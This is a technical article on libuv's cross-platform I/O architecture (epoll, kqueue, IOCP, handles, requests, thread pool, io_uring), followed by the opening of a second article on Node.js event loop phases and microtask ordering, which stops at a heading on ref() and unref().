**Completion-Based (Proactor Pattern):** In this model, the application initiates an entire I/O operation and provides the OS with a buffer. For instance, an application might request, "Read up to 512 bytes from socket X and place the data into this buffer." The OS then performs the entire operation in the background. The application is notified only when the operation is complete and the buffer has been filled with data. Windows' I/O Completion Ports (IOCP) is a classic example of a completion-based model.

This distinction presents a significant abstraction challenge. libuv exposes a completion-style, callback-based API to the user (e.g., "call this function with the data that has been read"). On Windows, this programming model maps very naturally to the underlying IOCP system. However, on Linux and macOS, libuv must emulate a completion model on top of a readiness-based kernel interface. When epoll or kqueue signals that a socket is ready for reading, the libuv event loop itself must internally perform the read() system call to fetch the data before it can invoke the user's "completion" callback with that data. This emulation adds a layer of internal logic and introduces a subtle but important architectural difference in how libuv operates on Unix-like systems versus Windows.

### The epoll Backend (Linux)

On Linux systems, libuv leverages epoll, the standard mechanism for high-performance, scalable I/O multiplexing ([libuv design overview](https://docs.libuv.org/en/v1.x/design.html)).

**Implementation:** For each event loop, libuv creates a single epoll instance using the epoll_create1() system call. When a user wants to monitor a file descriptor (e.g., for a TCP socket), libuv uses epoll_ctl() to add (EPOLL_CTL_ADD), modify (EPOLL_CTL_MOD), or remove (EPOLL_CTL_DEL) the file descriptor from the epoll interest set. The core of the I/O polling phase in the event loop is a single, blocking call to epoll_pwait(), which waits for events to become available on any of the monitored file descriptors or for a specified timeout to elapse. The source code containing this logic resides primarily in [src/unix/linux.c](https://github.com/libuv/libuv/blob/v1.x/src/unix/linux.c).

libuv is capable of utilizing both level-triggered (LT) and edge-triggered (ET) modes of epoll, though managing ET correctly is more complex as it requires the application to completely drain the I/O buffer upon each notification to avoid missing subsequent events.

### The kqueue Backend (BSD/macOS)

On macOS and other BSD-derived operating systems like FreeBSD, libuv uses the kqueue event notification interface.

**Implementation:** A kernel event queue is created via the kqueue() system call. A key difference from epoll is that both the registration of events and the retrieval of pending events are handled by a single, versatile system call: kevent(). This function can be used to submit a "changelist" of events to add, delete, or modify, and simultaneously retrieve a list of triggered events from the kernel. The implementation of this backend is located in [src/unix/kqueue.c](https://github.com/libuv/libuv/blob/v1.x/src/unix/kqueue.c).

**kqueue's Expressiveness:** The kqueue mechanism is generally considered more expressive and flexible than epoll. It is not limited to monitoring file descriptor readiness. kqueue can create events, known as "kevents," for a wide range of system occurrences, including file modifications (EVFILT_VNODE), POSIX signals (EVFILT_SIGNAL), and high-precision timers (EVFILT_TIMER).

libuv leverages this extended capability to implement certain features more directly and efficiently on kqueue-based systems. For example, the uv_fs_event_t handle can be implemented directly using EVFILT_VNODE without resorting to other platform-specific APIs or polling mechanisms.

### The IOCP Backend (Windows)

On the Windows platform, libuv is built upon I/O Completion Ports (IOCP), the native and most performant asynchronous I/O API available.

**Implementation:** An IOCP is a kernel object that functions as a queue for completed I/O requests. The workflow is as follows:

1. An application creates an IOCP handle using CreateIoCompletionPort().
2. It associates I/O handles (like sockets or files) with this IOCP.
3. It initiates an asynchronous operation (e.g., ReadFile or WSASend) on an I/O handle, passing a special OVERLAPPED structure. The function call returns immediately, without waiting for the I/O to finish.
4. When the I/O operation completes (successfully or with an error), the Windows kernel posts a completion packet to the associated IOCP queue.

The libuv event loop's polling phase on Windows consists of a single blocking call to GetQueuedCompletionStatus(). This function waits for a completion packet to arrive on the IOCP queue and then dequeues it. The retrieved packet contains all the necessary information about the completed operation, including its status and the number of bytes transferred.

**IOCP and the libuv Threading Model:** A core feature of IOCP is its inherent scalability across multiple CPU cores. A pool of worker threads can all call GetQueuedCompletionStatus() on the same IOCP handle. The kernel efficiently distributes the completion packets among these waiting threads, allowing for a high degree of parallel I/O processing. However, the libuv event loop is fundamentally designed around a single-threaded execution model to ensure API consistency across platforms. Therefore, libuv uses IOCP in a manner that fits this model: a single event loop thread calls GetQueuedCompletionStatus to process all I/O completions. This is a deliberate and crucial design choice. While it does not leverage IOCP's native multi-threading for a single event loop, it preserves the consistent, single-threaded, callback-driven programming paradigm that is a hallmark of libuv, making the developer's experience identical regardless of the underlying OS.

### Synthesis: How Libuv Unifies Disparate I/O Models

The primary architectural achievement of libuv is its ability to present a clean, consistent, and platform-agnostic API to the developer, despite the profound differences in the underlying I/O models of each operating system. It accomplishes this by defining its own set of high-level abstractions, such as uv_stream_t and uv_tcp_t, and meticulously mapping them to the appropriate OS-level constructs and system calls. This hides the platform-specific implementation details entirely from the end-user. The logical flow of the event loop iteration remains conceptually identical across all platforms, even though the core "Poll for I/O" phase invokes a completely different system function (epoll_pwait, kevent, or GetQueuedCompletionStatus) depending on the host OS.

| Feature             | epoll (Linux)                                                        | kqueue (BSD/macOS)                                              | IOCP (Windows)                                                      |
| ------------------- | -------------------------------------------------------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------- |
| Model               | Readiness-based (Reactor)                                            | Readiness-based (Reactor)                                       | Completion-based (Proactor)                                         |
| Primary API Calls   | epoll_create, epoll_ctl, epoll_pwait                                 | kqueue, kevent                                                  | CreateIoCompletionPort, GetQueuedCompletionStatus                   |
| Notification Target | File Descriptors                                                     | "Kevents" (FDs, signals, timers, etc.)                          | I/O Operations (e.g., ReadFile, WriteFile)                          |
| Data Transfer       | Application performs read/write after notification                   | Application performs read/write after notification              | OS performs read/write; application is notified on completion       |
| File I/O Support    | Not suitable for disk I/O (can block)                                | EVFILT_VNODE for file changes, but not ideal for async data I/O | Native support for both sockets and files                           |
| Threading Model     | Single or multiple threads can call epoll_pwait on the same epoll fd | Single or multiple threads can call kevent                      | Designed for a pool of worker threads to service completion packets |

<figure>

![Loop Iteration from libuv.org](./loop_iteration.webp)

<figcaption>Detailed view of a single libuv event loop iteration showing the sequence of phases and their execution order</figcaption>

</figure>

## In-Depth Analysis of Handles and Requests

Handles and requests are the primary abstractions through which developers interact with the libuv event loop. A precise understanding of their individual lifecycles, characteristics, and usage patterns is essential for writing correct and performant libuv applications.

### The uv_handle_t Base: Lifecycle, Activity, and Memory Management

uv_handle_t is the base type from which all other handle types inherit. This design allows any specific handle (like uv_tcp_t or uv_timer_t) to be cast to a uv_handle_t\* and operated upon by generic handle functions like uv_close() or uv_ref(). The lifecycle of every handle follows a strict and consistent pattern.

**Lifecycle Stages:**

1. **Allocation:** The memory for the handle structure itself must be allocated by the user, either on the stack for short-lived handles or on the heap for those that persist.

2. **Initialization:** The handle is initialized by calling its corresponding uv_TYPE_init() function (e.g., uv_timer_init()). This function associates the handle with a specific event loop.

3. **Activation:** To make the handle perform work, its corresponding uv_TYPE_start() function is called (e.g., uv_timer_start()). This registers the handle's callback with the event loop and marks the handle as "active". By default, an active handle is also "referenced," which prevents the event loop from exiting.

4. **Deactivation:** The corresponding uv_TYPE_stop() function can be called to make the handle inactive. This stops the handle from watching for events and unreferences the loop.

5. **Closing:** The uv_close(handle, close_cb) function must be called on every handle before its memory can be safely freed. This function schedules the handle for closing, which is an asynchronous operation. The provided close_cb callback will be invoked in a future iteration of the event loop. It is only within this callback, or after it has returned, that it is safe to deallocate the memory for the handle structure. This ensures that libuv has finished all internal cleanup related to the handle.

The state of a handle can be programmatically inspected at any time using uv_is_active() and uv_is_closing().

### Detailed Examination of Key Handle Types

While all handles share a common base, their specific APIs and lifecycles are tailored to their purpose.

#### uv_tcp_t: The Lifecycle of a Network Stream

The uv_tcp_t handle is the workhorse for TCP networking, used to represent both servers and client connections.

**Server Lifecycle:** A typical TCP server follows this sequence:

1. uv_tcp_init(): Initialize the server handle.
2. uv_tcp_bind(): Bind the handle to a specific IP address and port.
3. uv_listen(): Start listening for incoming connections. A connection callback is provided, which will be invoked for each new connection attempt.
4. uv_accept(): Inside the connection callback, uv_accept() is called to accept the new connection onto a separate, newly initialized client uv_tcp_t handle.
5. uv_read_start(): Called on the new client handle to begin reading data from the connected peer.

**Client Lifecycle:** A TCP client is simpler:

1. uv_tcp_init(): Initialize the client socket handle.
2. uv_tcp_connect(): Initiate a connection to a remote server. A connect callback is provided.
3. uv_write() / uv_read_start(): Inside the connect callback (upon successful connection), data can be written to or read from the stream.

Various socket options, such as disabling Nagle's algorithm (uv_tcp_nodelay) or enabling TCP keep-alive (uv_tcp_keepalive), can be configured on the handle after initialization.

#### uv_timer_t: Precision Timing in the Event Loop

Timer handles are used to schedule a callback for execution after a specified delay.

**Lifecycle:** The lifecycle is straightforward: uv_timer_init() followed by uv_timer_start(handle, cb, timeout, repeat).

- The timeout parameter specifies the initial delay in milliseconds. If set to 0, the callback fires on the very next iteration of the event loop.
- The repeat parameter, if non-zero, sets a recurring interval in milliseconds. The timer will automatically re-fire after each interval.

An active timer can be stopped with uv_timer_stop(). For repeating timers, uv_timer_again() provides a convenient way to stop and restart the timer using its existing repeat interval as the new initial timeout.

#### uv_fs_event_t: Filesystem Monitoring

This handle allows an application to monitor a given file or directory for changes.

**Lifecycle:** uv_fs_event_init() -> uv_fs_event_start(handle, cb, path, flags) -> uv_fs_event_stop().

The start function begins monitoring the specified path. When a change occurs, the callback cb is invoked. The callback receives the handle, the name of the file that changed (if monitoring a directory), an event mask (UV_RENAME or UV_CHANGE), and a status code. This provides a powerful, cross-platform mechanism for reacting to filesystem modifications, for example, to implement hot-reloading of configuration files.

### The uv_req_t Base: Managing Short-Lived Operations

The uv_req_t structure is the base type for all request objects in libuv. Requests are fundamentally different from handles: they represent a single, discrete, and typically short-lived operation.

Unlike handles, which represent persistent resources, requests are often allocated on the stack for a one-off asynchronous call, or embedded within a larger application-defined object. Their primary role is to carry the context of an operation from the point of its initiation to the point where its completion callback is executed. The req->data field is a void\* provided specifically for the user to attach arbitrary data, which is then accessible within the callback.

### Detailed Examination of Key Request Types

#### uv_fs_t: The Asynchronous Façade for Blocking Filesystem Calls

All asynchronous filesystem functions in libuv (the uv*fs*\* family) use a uv_fs_t request object to manage their state.

**Lifecycle:**

1. A uv_fs_t struct is allocated by the user.
2. An asynchronous filesystem function like uv_fs_open(loop, req, path, flags, mode, on_open_cb) is called. This submits the request to the libuv thread pool for execution.
3. When the operation completes in the worker thread, the provided callback (e.g., on_open_cb) is invoked on the main event loop thread. The result of the operation (e.g., a file descriptor or an error code) is available in the req->result field.
4. A critical and often overlooked step is that uv_fs_req_cleanup(req) must be called on the request object after the callback has been invoked. This function frees internal memory that libuv allocated for the request, and failing to call it will result in memory leaks.

This request-based model allows for elegant chaining of asynchronous operations. For example, the callback for uv_fs_open can initiate a uv_fs_read, whose callback can initiate a uv_fs_write, and so on, creating a non-blocking pipeline for file processing.

#### uv_shutdown_t and uv_getaddrinfo_t

These requests handle other common asynchronous tasks:

**uv_shutdown_t:** This request is used with uv_shutdown(req, stream_handle, cb). Its purpose is to gracefully shut down the write side of a duplex stream (like a TCP socket). It ensures that all pending write requests are completed before invoking the shutdown callback, cb. This is the proper way to signal the end of transmission to a peer without abruptly closing the connection.

**uv_getaddrinfo_t:** This request is used for asynchronous DNS resolution via the uv_getaddrinfo(loop, req, cb, node, service, hints) function. This operation is performed on the thread pool. Upon completion, the callback cb is invoked with a struct addrinfo linked list containing the resolved addresses. The developer is responsible for freeing this structure using uv_freeaddrinfo() to prevent memory leaks.

## Advanced Capabilities and Synchronization Primitives

Beyond its core event loop and I/O abstractions, libuv provides a rich set of advanced features for building complex, high-performance applications. These include robust mechanisms for inter-thread communication, a comprehensive suite of threading and synchronization primitives, and a cross-platform signal handling system.

### Inter-Thread Communication: The uv_async_send Wake-up Mechanism

One of the most critical design constraints of libuv is that the event loop and its associated handles are not thread-safe. Directly calling a function like uv_timer_start from a thread other than the one running the event loop will lead to race conditions and undefined behavior. To solve this, libuv provides a specific, thread-safe mechanism to communicate with an event loop from another thread: the uv_async_t handle and the uv_async_send() function.

**Internal Mechanism:** The uv_async_send() function is the only libuv function, besides the synchronization primitives, that is guaranteed to be safe to call from any thread at any time. It is also async-signal-safe, meaning it can be called from within a signal handler. Internally, libuv typically implements this mechanism using a "self-pipe" trick. An internal pipe (a pair of connected file descriptors) is created. The event loop polls on the read end of the pipe. When a thread calls uv_async_send(), it simply writes a single byte to the write end of the pipe. This write operation wakes up the event loop's polling mechanism, which then sees that the pipe is readable and proceeds to execute the callback associated with the uv_async_t handle.

**Callback Coalescing:** An important behavior to understand is that libuv may coalesce multiple, rapid calls to uv_async_send() into a single invocation of the async callback. The only guarantee is that the callback will be called at least once after uv_async_send is invoked. This means it is not a reliable mechanism for one-to-one message delivery.

**The Producer-Consumer Pattern for Inter-Thread Data Transfer:** Due to callback coalescing and the fact that the handle->data field is not thread-safe to modify concurrently, a robust pattern must be used for passing data between threads. The recommended approach is to implement the classic producer-consumer pattern. The uv_async_send call should be used purely as a "wakeup" signal.

- **Producer Thread(s):** When a producer thread has data to send to the event loop thread, it first acquires a lock on a shared, thread-safe queue (e.g., a linked list protected by a uv_mutex_t). It pushes the data onto the queue and then releases the lock. Finally, it calls uv_async_send() to notify the event loop that there is new data available.

- **Consumer (Event Loop Thread):** The uv_async_t callback, which executes on the event loop thread, is triggered. Inside this callback, it acquires the same lock, drains the entire queue of all pending data items, and then releases the lock. It can then process the batch of data items safely within the event loop thread.

This pattern ensures that no data is lost due to coalescing and that access to the shared queue is properly synchronized.

### Cross-Platform Threading and Synchronization

libuv provides a self-contained, cross-platform threading library whose API is intentionally designed to be analogous to the familiar POSIX pthreads API. This allows developers to write multi-threaded C applications that are portable across Unix and Windows.

**Thread Creation:** A new thread can be started using uv_thread_create(), and the main thread can wait for its completion using uv_thread_join().

**Synchronization Primitives:** To manage concurrent access to shared resources, libuv offers a comprehensive suite of synchronization primitives:

- **Mutexes (uv_mutex_t):** Provide mutual exclusion to protect critical sections. The API includes uv_mutex_init, uv_mutex_lock, uv_mutex_trylock, uv_mutex_unlock, and uv_mutex_destroy.

- **Read-Write Locks (uv_rwlock_t):** A more granular lock that allows for multiple concurrent readers or a single exclusive writer, improving performance in read-heavy scenarios.

- **Semaphores (uv_sem_t):** A counting semaphore for controlling access to a pool of resources, with an API including uv_sem_init, uv_sem_post (increment), uv_sem_wait (decrement, blocking), and uv_sem_trywait (decrement, non-blocking).

- **Condition Variables (uv_cond_t):** Used in conjunction with mutexes to allow threads to wait for a specific condition to become true. The API includes uv_cond_wait, uv_cond_timedwait, uv_cond_signal, and uv_cond_broadcast.

- **Barriers (uv_barrier_t):** A synchronization point that blocks a group of threads until a specified number of threads have all reached the barrier.

- **Once (uv_once_t):** A mechanism to ensure that a specific initialization function is called exactly once, even if multiple threads attempt to call it concurrently. It uses a guard initialized with UV_ONCE_INIT.

### Abstracting System Signals: The uv_signal_t Handle

The uv_signal_t handle provides a cross-platform, event-loop-integrated way to handle POSIX-style operating system signals. Instead of installing a global signal handler that could interrupt any thread at any time, uv_signal_start() associates a signal with a specific event loop. When the signal is received, its callback is safely executed as part of that loop's iteration.

**Lifecycle:** The handle is managed via uv_signal_init, uv_signal_start(handle, cb, signum), and uv_signal_stop.

**Cross-Platform Emulation:** A key feature is its emulation of common Unix signals on Windows, providing a consistent developer experience:

- SIGINT is mapped to the user pressing CTRL+C.
- SIGBREAK is mapped to CTRL+BREAK.
- SIGHUP is generated when the console window is closed.
- SIGWINCH is generated when the console is resized.

**Limitations:** The abstraction is not without its limits. Certain signals, such as SIGKILL and SIGSTOP, are uncatchable on any platform and cannot be handled by libuv. Furthermore, attempting to handle hardware-related signals like SIGSEGV (segmentation fault) or SIGFPE (floating-point exception) with a libuv watcher results in undefined behavior, as these typically indicate a critical program error that should not be caught and continued from.

## Conclusion: Synthesis and Future Outlook

### Libuv's Enduring Architectural Significance

libuv has transcended its origins as a mere dependency of Node.js to become a foundational piece of modern systems software. It stands as a testament to robust, high-performance, and portable C library design for asynchronous I/O. Its most significant achievement is the successful and consistent abstraction of the profoundly different high-performance I/O models native to major operating systems—epoll on Linux, kqueue on BSD/macOS, and IOCP on Windows. This abstraction empowers developers to build complex, event-driven applications that are portable by design, freeing them from the immense burden of writing and maintaining platform-specific I/O code.

The library's dual-modality architecture—employing efficient kernel-level polling for network I/O while pragmatically offloading blocking file I/O to a thread pool—represents an elegant and effective solution to the real-world state of operating system APIs. This design has proven to be a durable and influential blueprint for cross-platform asynchronous libraries, balancing ideal performance with practical reality.

### Current Limitations and the Path Forward

Despite its success, libuv is not without its limitations, and its continued evolution is shaped by the need to address them and adapt to new OS capabilities.

**Thread Pool Bottlenecks:** The fixed-size, globally shared thread pool, while a pragmatic solution, can become a performance bottleneck in applications with high-throughput, blocking I/O or in complex scenarios with multiple, competing event loops. A proposal for dynamic resizing ([LEP-004](https://github.com/libuv/leps/blob/master/004-threadpool-handle.md)) was rejected; instead, the team favors a pluggable API for threaded operations that would allow custom implementations.

**Context Switching Overhead:** In environments like Node.js, the bridge between the high-level language (JavaScript) and the C/C++ layer (libuv) necessarily incurs some context-switching overhead. While negligible for most applications, this can become a measurable factor in extremely I/O-intensive workloads where every microsecond counts.

**The io_uring Evolution (Linux):** io_uring represents a paradigm shift, offering a true completion-based (Proactor) I/O interface designed for extremely high throughput and low overhead. libuv's io_uring integration operates in two distinct modes:

1. **Epoll batching** (always enabled as of v1.50.0): Batches `epoll_ctl` calls through io_uring for improved polling efficiency. This requires no configuration and works transparently on supported kernels.

2. **SQPOLL file operations** (opt-in): Provides true async file I/O (read/write/fsync/fdatasync/stat) with [~8x throughput improvement](https://www.phoronix.com/news/libuv-io-uring) in benchmarks. Requires explicit opt-in via `UV_USE_IO_URING=1` environment variable plus the `UV_LOOP_ENABLE_IO_URING_SQPOLL` loop flag.

**Platform requirements and exclusions:**

- Minimum Linux kernel 5.13+ (with statx support detection)
- Additional operations require newer kernels: link/mkdir/symlink (5.15+), ftruncate (6.9+)
- Disabled on Android (seccomp blocks), 32-bit ARM (kernel bugs), PowerPC64 (signal handler crashes)
- CVE-2024-22017 highlighted that `setuid()` doesn't affect pre-initialized io_uring operations, leading Node.js to make SQPOLL opt-in rather than default

**Network I/O remains unchanged:** Despite io_uring's unified interface, libuv does not use io_uring for network I/O. An [RFC (Issue #4044)](https://github.com/libuv/libuv/issues/4044) explored integration but identified fundamental mismatches: io_uring's optimal pattern (batched requests with kernel-managed buffers) conflicts with libuv's "firehose" model (immediate single-request processing with user-managed memory). Network operations continue to use epoll/kqueue/IOCP directly, and the design docs explicitly state network I/O is "always performed in a single thread."

## Appendix

### Prerequisites

- C programming fundamentals (pointers, memory management, callbacks)
- Understanding of blocking vs non-blocking I/O concepts
- Familiarity with one of: Node.js event loop, Python asyncio, or similar event-driven systems
- Basic knowledge of operating system concepts (processes, threads, system calls)

### Summary

- **Dual I/O strategy**: libuv uses kernel polling (epoll/kqueue/IOCP) for network I/O achieving massive concurrency, while emulating async file I/O through a worker thread pool—a pragmatic response to inconsistent OS-level file I/O primitives
- **Six-phase event loop**: Each iteration processes timers → pending callbacks → idle/prepare → I/O poll (blocking) → check → close, with the poll phase dynamically calculating timeout based on pending timers
- **Platform abstraction**: Unifies readiness-based (Linux, BSD) and completion-based (Windows) I/O models behind a consistent completion-style callback API
- **Thread pool constraints**: Global shared pool (default 4, max 1024 threads, 8MB stack each) cannot be resized at runtime; pool saturation is the primary bottleneck for file-heavy workloads
- **io_uring (v1.50.0+)**: Epoll batching always enabled on Linux 5.13+; SQPOLL file operations opt-in via `UV_USE_IO_URING=1`; network I/O remains thread-pool-free single-threaded polling
- **Reference counting**: `uv_ref`/`uv_unref` controls whether handles keep the loop alive—essential for background tasks that shouldn't prevent graceful shutdown

### References

**Official Documentation (Primary)**

- [libuv Design Overview](https://docs.libuv.org/en/v1.x/design.html) - Architecture, handles, requests, I/O loop
- [libuv Thread Pool](https://docs.libuv.org/en/latest/threadpool.html) - Pool sizing, stack size, workload types
- [libuv Event Loop](https://docs.libuv.org/en/v1.x/loop.html) - Loop lifecycle, run modes, reference counting
- [libuv DNS Utility Functions](https://docs.libuv.org/en/v1.x/dns.html) - getaddrinfo/getnameinfo async wrappers
- [libuv Timer Handle](https://docs.libuv.org/en/v1.x/timer.html) - Timer lifecycle and precision

**Source Code and Design Documents**

- [libuv GitHub Repository](https://github.com/libuv/libuv) - Reference implementation
- [libuv linux.c (io_uring implementation)](https://github.com/libuv/libuv/blob/v1.x/src/unix/linux.c) - Platform-specific Linux code
- [LEP-004: Threadpool Handle (Rejected)](https://github.com/libuv/leps/blob/master/004-threadpool-handle.md) - Dynamic thread pool proposal

**io_uring Integration**

- [Issue #4044: io_uring Network I/O RFC](https://github.com/libuv/libuv/issues/4044) - Design challenges for network integration
- [Issue #4616: io_uring Behavior Discussion](https://github.com/libuv/libuv/issues/4616) - v1.50.0 default behavior clarification
- [Phoronix: libuv io_uring Support](https://www.phoronix.com/news/libuv-io-uring) - Performance benchmarks

**Node.js Context**

- [Node.js Event Loop Guide](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick) - How Node.js uses libuv phases
- [Node.js Issue #52156: io_uring Security](https://github.com/nodejs/node/issues/52156) - CVE-2024-22017 discussion

**Presentations**

- [Video: Introduction to libuv - Colin Ihrig, Joyent](https://youtu.be/_c51fcXRLGw) - Comprehensive libuv overview

---

## Node.js Event Loop: Phases, Queues, and Process Exit

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/nodejs-event-loop
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** As of Node.js 22 LTS (libuv 1.48.0), this article covers how Node schedules input/output (I/O): libuv phases first, then V8 (the JavaScript engine) microtasks and process.nextTick(), and finally process exit conditions. Includes a spec-precise contrast to the Hypertext Markup Language (HTML) event loop and the ECMAScript job queue.

# Node.js Event Loop: Phases, Queues, and Process Exit

As of Node.js 22 LTS (libuv 1.48.0), this article covers how Node schedules input/output (I/O): libuv phases first, then V8 (the JavaScript engine) microtasks and `process.nextTick()`, and finally process exit conditions. Includes a spec-precise contrast to the Hypertext Markup Language (HTML) event loop and the ECMAScript job queue.

<figure>

![Node.js Event Loop Phases](./nodejs-event-loop-with-example.png)

<figcaption>Phased diagram of the Node.js event loop showing the libuv phase order.</figcaption>

</figure>

## Abstract

### Mental model

- The loop is a phased scheduler in libuv (Node's cross-platform async I/O library): timers → pending callbacks → idle/prepare → poll → check → close callbacks.
- After each callback, Node drains `process.nextTick()` and then the microtask queue (Promises and `queueMicrotask()`).
- The process exits when no ref'd handles or active requests remain.

### Operational consequences

- The poll phase can block waiting for I/O readiness; recursive `process.nextTick()` or microtask chains can starve I/O indefinitely.
- Network I/O is non-blocking (epoll/kqueue/IOCP); file system operations, `dns.lookup()`, crypto, and zlib use the libuv thread pool (default 4 threads, max 1024, shared process-wide).
- `setImmediate()` always fires before timers when called from an I/O callback; outside I/O callbacks, the order is non-deterministic.
- Timers have millisecond resolution with ±0.5 ms jitter; they specify a minimum delay threshold, not a precise schedule.

## Mental Model: Two Layers of Scheduling

Think of Node as two schedulers stacked together. The outer scheduler is libuv's phased loop; the inner scheduler is the microtask and `process.nextTick()` queues owned by V8 and Node. A single "tick" is one pass through the phases; after each JavaScript callback (and before the loop continues), Node drains `process.nextTick()` and then microtasks.

Simplified flow (intentionally ignoring edge cases covered later):

1. Pick the next phase in the fixed order and run its callbacks.
2. After each callback, drain `process.nextTick()`.
3. Drain microtasks (Promise reactions and `queueMicrotask()`).
4. Repeat until no ref'd handles or active requests remain.

Example: A Hypertext Transfer Protocol (HTTP) server accepts a socket, runs the poll callback, schedules a Promise to update metrics, and calls `setImmediate()`. The callback runs, then `process.nextTick()`, then the Promise microtask, and the `setImmediate()` fires later in the check phase.

## Phase Order and Semantics (libuv detail)

Node follows libuv's six phases, each with its own callback queue. The order is fixed; what changes is how much work is queued in each phase and how long poll blocks.

<figure>

![Phase order annotated with the post-callback drain points for `process.nextTick()` and microtasks.](./phase-order-annotated-with-the-post-callback-drain-points-for-process-nexttick-a.svg)

<figcaption>Phase order annotated with the post-callback drain points for `process.nextTick()` and microtasks.</figcaption>
</figure>

> "Each phase has a FIFO queue of callbacks to execute." - Node.js Event Loop docs.

- **timers**: Executes expired `setTimeout()` / `setInterval()` callbacks.
- **pending callbacks**: Executes callbacks deferred from the previous loop iteration (for example, certain networking errors).
- **idle, prepare**: Internal libuv bookkeeping; no user-visible callbacks.
- **poll**: Pulls new I/O events from the operating system (OS) and runs their callbacks; may block if no timers are due.
- **check**: Executes `setImmediate()` callbacks.
- **close callbacks**: Handles `close` events (for example, on sockets).

> "A timer specifies the threshold after which a provided callback may be executed." - Node.js Event Loop docs.

Timers are best-effort; operating system scheduling and other callbacks can delay them. libuv only supports millisecond resolution by rounding higher-precision clocks to integers—timers can be off by ±0.5 ms even in ideal conditions.

> **Breaking change in Node.js 20 (libuv 1.45.0):** Prior to this version, libuv executed timers both before and after the poll phase. As of libuv 1.45.0, timers run only after poll. This changes how timers interleave with `setImmediate()` in edge cases—code that relied on timers firing before I/O polling may behave differently. Node.js 22 LTS ships with libuv 1.48.0, which carries this behavior forward.

Repeating timers (`setInterval`) do not adjust for callback execution time. A 50 ms repeating timer whose callback takes 17 ms will reschedule after 33 ms, not 50 ms, because libuv rearms relative to its current idea of "now."

Example: Schedule a 100 ms timeout, then start an `fs.readFile()` that finishes in 95 ms and runs a 10 ms callback. The timer fires around 105 ms, not 100 ms, because the callback delays the timers phase.

## Microtasks and `process.nextTick()`

Node maintains two high-priority queues outside libuv's phases: the `process.nextTick()` queue and the microtask queue.

> "This queue is fully drained after the current operation on the JavaScript stack runs to completion and before the event loop is allowed to continue." - Node.js `process.nextTick()` docs.

> "Within Node.js, every time the 'next tick queue' is drained, the microtask queue is drained immediately after." - Node.js `process.nextTick()` docs.

In CommonJS (CJS), `process.nextTick()` callbacks run before `queueMicrotask()` ones. In ECMAScript modules (ESM), module evaluation itself runs as a microtask, so microtasks can run before `process.nextTick()`.

> "This can create some bad situations because it allows you to \"starve\" your I/O by making recursive `process.nextTick()` calls." - Node.js Event Loop docs.

Ordering example from the Node.js `queueMicrotask()` vs `process.nextTick()` docs: ([Node.js - `process.nextTick()` vs `queueMicrotask()`](https://nodejs.org/docs/latest/api/process.html#when-to-use-queuemicrotask-vs-processnexttick))

```js title="cjs.js" collapse={1}
const { nextTick } = require("node:process")
Promise.resolve().then(() => console.log("resolve"))
queueMicrotask(() => console.log("microtask"))
nextTick(() => console.log("nextTick"))
// Output (CJS):
// nextTick
// resolve
// microtask
```

```js title="esm.mjs" collapse={1}
import { nextTick } from "node:process"
Promise.resolve().then(() => console.log("resolve"))
queueMicrotask(() => console.log("microtask"))
nextTick(() => console.log("nextTick"))
// Output (ESM):
// resolve
// microtask
// nextTick
```

Example: A logging middleware that schedules itself with `process.nextTick()` can starve I/O if it creates an unbounded chain; use `queueMicrotask()` or `setImmediate()` when fairness matters more than immediate priority. Detection: Use `monitorEventLoopDelay()` from `perf_hooks`—consistent lag > 100 ms indicates starvation.

## `setImmediate()` vs `setTimeout()` Determinism

The ordering of `setImmediate()` and `setTimeout(..., 0)` depends on context:

**Inside an I/O callback (deterministic):** `setImmediate()` always fires first because the loop is in the poll phase and proceeds directly to check before looping back to timers.

```js title="deterministic.js" collapse={1-2}
const fs = require("node:fs")
fs.readFile(__filename, () => {
  setTimeout(() => console.log("timeout"), 0)
  setImmediate(() => console.log("immediate"))
})
// Output: "immediate" then "timeout" (100% deterministic)
```

**Outside I/O callbacks (non-deterministic):** Whether the timer or immediate fires first depends on process startup performance—if the loop enters the timers phase before the 1 ms minimum delay elapses, the timer fires first; otherwise, the immediate does.

```js title="non-deterministic.js"
setTimeout(() => console.log("timeout"), 0)
setImmediate(() => console.log("immediate"))
// Output order varies between runs
```

Design reasoning: `setImmediate()` exists specifically to schedule work immediately after I/O without waiting for timers. When predictability matters, prefer `setImmediate()` inside I/O callbacks or use explicit sequencing with Promises.

## I/O Boundaries: Kernel Readiness vs. libuv Thread Pool

Network I/O is readiness-based and handled by the kernel with non-blocking sockets. libuv polls using platform mechanisms such as epoll (Linux), kqueue (macOS/BSD), event ports (SunOS), and I/O Completion Ports (IOCP, Windows), then runs callbacks on the event loop thread. By contrast, work that cannot be made non-blocking is pushed onto the libuv thread pool.

| Property      | Value                | Notes                                                                                  |
| ------------- | -------------------- | -------------------------------------------------------------------------------------- |
| Default size  | 4 threads            | Set at process startup                                                                 |
| Maximum size  | 1024 threads         | Increased from 128 in libuv 1.30.0                                                     |
| Configuration | `UV_THREADPOOL_SIZE` | Environment variable; must be set before process starts                                |
| Thread stack  | 8 MB                 | Changed in libuv 1.45.0; was platform default (often too small for deeply nested code) |
| Thread naming | `libuv-worker`       | Added in libuv 1.50.0                                                                  |

The thread pool services:

- **File system operations**: All `fs.*` calls except those using `fs.watch()` (which uses kernel notifications)
- **DNS lookups via `getaddrinfo`**: `dns.lookup()` and `dns.lookupService()` use the thread pool; `dns.resolve*()` performs network DNS queries and does not
- **Crypto operations**: `crypto.pbkdf2()`, `crypto.scrypt()`, `crypto.randomBytes()` (async), `crypto.generateKeyPair()`
- **Compression**: `zlib.gzip()`, `zlib.gunzip()`, `zlib.deflate()`, `zlib.inflate()` (async variants)
- **Custom work**: `uv_queue_work()` for user-specified tasks

> **Warning:** The thread pool is **not thread-safe for user data**. While the pool itself is global and shared across all event loops, accessing shared data from worker threads requires explicit synchronization.

Example: A build tool that starts 1,000 parallel `fs.readFile()` calls will queue 996 tasks behind the 4-thread pool, inflating tail latency. Increasing `UV_THREADPOOL_SIZE` to 64 or 128 helps I/O throughput but increases memory usage and competes with central processing unit (CPU) time for the event loop.

## Process Exit and Liveness

Node checks between iterations whether the loop is "alive." The loop is alive if any of these conditions hold:

- Active and ref'd handles exist (timers, sockets, file watchers)
- Active requests are pending (I/O operations in flight)
- Closing handles are still in flight

When none of these conditions hold, the process exits. This is why short scripts terminate as soon as their last callback completes.

### `ref()` and `unref()`

